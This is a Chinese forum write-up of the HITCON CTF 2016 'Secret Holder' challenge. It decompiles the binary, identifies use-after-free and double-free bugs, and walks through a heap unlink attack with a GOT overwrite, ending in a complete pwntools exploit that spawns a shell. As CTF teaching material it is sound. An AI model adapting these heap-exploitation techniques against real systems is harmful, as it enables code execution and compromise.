R00tkit 发表于 2023-8-11 15:12

HITCON CTF 2016 : Secret Holdr

本帖最后由 R00tkit 于 2023-9-22 19:49 编辑


# 前言
关于unlink我写了另一篇文章详细解释。unlink初学时还是建议跟着调试一下,加深一下印象,文章中的注意点都是容易出错的地方。
https://bbs.kanxue.com/thread-278315.htm

# 检查文件信息



ELF64小端动态链接的bin,没有开PIE和FULL RELRO。


我并未下载2.19的glibc,还是先修改为glibc2.23。


# 试运行

# 逆向分析
```cpp
/*main函数*/
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char s; // BYREF
unsigned __int64 v5; //

v5 = __readfsqword(0x28u);
sub_400C80();
puts("Hey! Do you have any secret?");
puts("I can help you to hold your secrets, and no one will be able to see it :)");
while ( 1 )
{
    puts("1. Keep secret");
    puts("2. Wipe secret");
    puts("3. Renew secret");
    memset(s, 0, 4uLL);
    read(0, s, 4uLL); // 没有处理'\n',没添加'\x00',可能存在信息泄露风险
    v3 = atoi(s);
    switch ( v3 )
    {
      case 2:
      Wipe();
      break;
      case 3:
      Renew();
      break;
      case 1:
      Keep();
      break;
    }
}
}

```
```cpp
/*Keep()函数*/
unsigned __int64 Keep()
{
int v0; // eax
char s; // BYREF
unsigned __int64 v3; //

v3 = __readfsqword(0x28u);
puts("Which level of secret do you want to keep?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(s, 0, 4uLL);
read(0, s, 4uLL); // 没有处理'\n',没添加'\x00',可能存在信息泄露风险
v0 = atoi(s);
if ( v0 == 2 )
{
    if ( !big_in_use )
    {
      big_data = calloc(1uLL, 0xFA0uLL);
      big_in_use = 1;
      puts("Tell me your secret: ");
      read(0, big_data, 0xFA0uLL);
    }
}
else if ( v0 == 3 )
{
    if ( !huge_in_use )
    {
      huge_data = calloc(1uLL, 0x61A80uLL);
      huge_in_use = 1;
      puts("Tell me your secret: ");
      read(0, huge_data, 0x61A80uLL);
    }
}
else if ( v0 == 1 && !small_in_use )
{
    small_data = calloc(1uLL, 0x28uLL);
    small_in_use = 1;
    puts("Tell me your secret: ");
    read(0, small_data, 0x28uLL);
}
return __readfsqword(0x28u) ^ v3;
}

```

```cpp
/*Wipe()函数*/
unsigned __int64 Wipe()
{
int v0; // eax
char s; // BYREF
unsigned __int64 v3; //

v3 = __readfsqword(0x28u);
puts("Which Secret do you want to wipe?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(s, 0, 4uLL);
read(0, s, 4uLL); // 没有处理'\n',没添加'\x00',可能存在信息泄露风险
v0 = atoi(s);
switch ( v0 )
{
    case 2:
      free(big_data);
      big_in_use = 0; // 并未将big_data置零,并未检查标志位是否为0,存在Double Free漏洞。
      break;
    case 3:
      free(huge_data); // 并未将huge_data置零,并未检查标志位是否为0,存在Double Free漏洞。
      huge_in_use = 0;
      break;
    case 1:
      free(small_data); // 并未将small_data置零,并未检查标志位是否为0,存在Double Free漏洞。
      small_in_use = 0;
      break;
}
return __readfsqword(0x28u) ^ v3;
}

```

很明显存在UAF漏洞和Double Free漏洞。

```cpp
/*Renew()函数*/

unsigned __int64 Renew()
{
int v0; // eax
char s; // BYREF
unsigned __int64 v3; //

v3 = __readfsqword(0x28u);
puts("Which Secret do you want to renew?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(s, 0, 4uLL);
read(0, s, 4uLL);// 没有处理'\n',没添加'\x00',可能存在信息泄露风险
v0 = atoi(s);
if ( v0 == 2 )
{
    if ( big_in_use )
    {
      puts("Tell me your secret: ");
      read(0, big_data, 0xFA0uLL);
    }
}
else if ( v0 == 3 )
{
    if ( huge_in_use )
    {
      puts("Tell me your secret: ");
      read(0, huge_data, 0x61A80uLL);
    }
}
else if ( v0 == 1 && small_in_use )
{
    puts("Tell me your secret: ");
    read(0, small_data, 0x28uLL);
}
return __readfsqword(0x28u) ^ v3;
}
```

# 漏洞利用

没有开FULL RELRO,可以考虑劫持got表,利用UAF实现堆块重叠,进而实现unlink。

## 扩展top_chunk,利用UAF通过Huge控制small 和 big块。
```python
def unlink():    keep(3, b'A')
    debug() # 1
    wipe(3)
    debug() # 2 这时已经调整了mmap分配阈值。
    keep(1, b'A')
    debug() # 3
    wipe(1) # 因为存在UAF和DF,此时small_ptr指向top_chunk_fd,可以通过small_ptr释放huge_ptr
    debug() # 4
    keep(3, b'A')
    debug() # 5
    wipe(1) # 因为存在UAF和DF,此时huge_ptr和small_ptr指向同一位置,可以通过small_ptr释放huge_ptr
    debug() # 6
    keep(1, b'A')
    keep(2, b'A')
    debug() # 7

    payload = flat(0,0x21, small_ptr-0x18, small_ptr-0x10, 0x20, 0xfb0)
    renew(3, payload)
    wipe(2)
```
其实,很明显当前top_chunk无法满足huge_chunk(0x61A80)的分配,此时ptmalloc2会决定使用sbrk()还是mmap()分配内存,64bit的mmap阈值在128k(0x20000)到256k(0x40000)之间,而且是动态调整的。当我们申请并释放huge_chunk后,因为为mmap()性能并不好,会动态调整mmap()阈值,当我们再次申请huge_chunk时,会通过sbrk来申请,再次释放的时候,huge_chunk会进入top_chunk。

debug() # 1

debug() # 2

当我们申请huge_chunk后,明显0x61A80大于0x40000,会调用mmap()申请一块内存,释放后,这块mmap()申请到内存会用munmap()返还给操作系统,debug_1和debug_2 无法使用heap命令原因如此。


debug() # 3

debug() # 4

当我们申请释放3的时候,top_chunk并未改变大小,并且small_chunk(名字叫small_chunk,其实是fastchunk)进入了fast bin。


debug() # 5

这时我们申请的huge_chunk是通过sbrk得来的。

debug() # 6

通过small_ptr释放huge_chunk进入top_chunk,top_chunk成功扩大。


debug() # 7


此时huge_in_use并未被置为0,而且huge_chunk包含了small_chunk和big_chunk。huge_ptr和small_ptr指向同一位置。
此时堆结构如下。

执行完payload后的布局如下



此时wipe(2)即可实现unlink达到任意地址写的效果。至此我们成功将small_ptr指向了small_ptr-0x18的位置。

## 泄露libc基址,并getshell
```python
def get_shell():
    payload = flat(b'/bin/sh\x00', elf.got['free'], elf.got['puts'], small_ptr-0x18) + p64(0xdeadbeef)
    renew(1, payload)
    renew(2, flat(elf.plt['puts']))
    wipe(3)
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
    libc_elf.address = libc_base

    renew(2, flat(libc_elf.sym['system']))
    wipe(1)
    p.interactive()

```
unlink前bss原布局

unlink后bss新布局

将第一个payload写入后,bss布局

renew(2, flat(elf.plt['puts']))就是将free_got改为puts_plt

然后wipe(3)将会打印出puts_got保存的真实地址,根据libc里面得puts的偏移可以算出栈的基址。同理renew(2, flat(libc_elf.sym['system']))将free_got保存的内容由puts_plt改为system的真实地址,然后wipe(1)就是执行system(new_small),也就是system("/bin/sh\x00")。

## 完整exp
```python
from pwn import *

context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']

elf = ELF('./secretHolder_hitcon_2016')
libc_elf = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
small_ptr = 0x6020b0

p = process('./secretHolder_hitcon_2016')

def debug():
    gdb.attach(p)
    pause()

def keep(idx, msg):
    p.sendlineafter(b"3. Renew secret\n", b'1')
    p.sendlineafter(b"3. Huge secret\n", str(idx).encode())
    p.sendafter(b"Tell me your secret: ", msg)

def wipe(idx):
    p.sendlineafter(b"3. Renew secret\n", b'2')
    p.sendlineafter(b"3. Huge secret\n", str(idx).encode())

def renew(idx, msg):
    p.sendlineafter(b"3. Renew secret\n", b'3')
    p.sendlineafter(b"3. Huge secret\n", str(idx).encode())
    p.sendafter(b"Tell me your secret: ", msg)

def unlink():
    keep(3, b'A')
    #debug() # 1
    wipe(3)
    #debug() # 2
    keep(1, b'A')
    #debug() # 3
    wipe(1)
    #debug() # 4
    keep(3, b'A')
    #debug() # 5
    wipe(1)
    #debug() # 6
    keep(1, b'A')
    keep(2, b'A')
    #debug() # 7

    payload = flat(0,0x21, small_ptr-0x18, small_ptr-0x10, 0x20, 0xfb0)
    renew(3, payload)
    wipe(2)

def get_shell():
    payload = flat(b'/bin/sh\x00', elf.got['free'], elf.got['puts'], small_ptr-0x18) + p64(0xdeadbeef)
    renew(1, payload)
    renew(2, flat(elf.plt['puts']))
    wipe(3)
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
    libc_elf.address = libc_base

    renew(2, flat(libc_elf.sym['system']))
    wipe(1)
    p.interactive()

def pwn():
    unlink()
    get_shell()

if __name__ == '__main__':
    pwn()

```

页: [1]
查看完整版本: HITCON CTF 2016 : Secret Holdr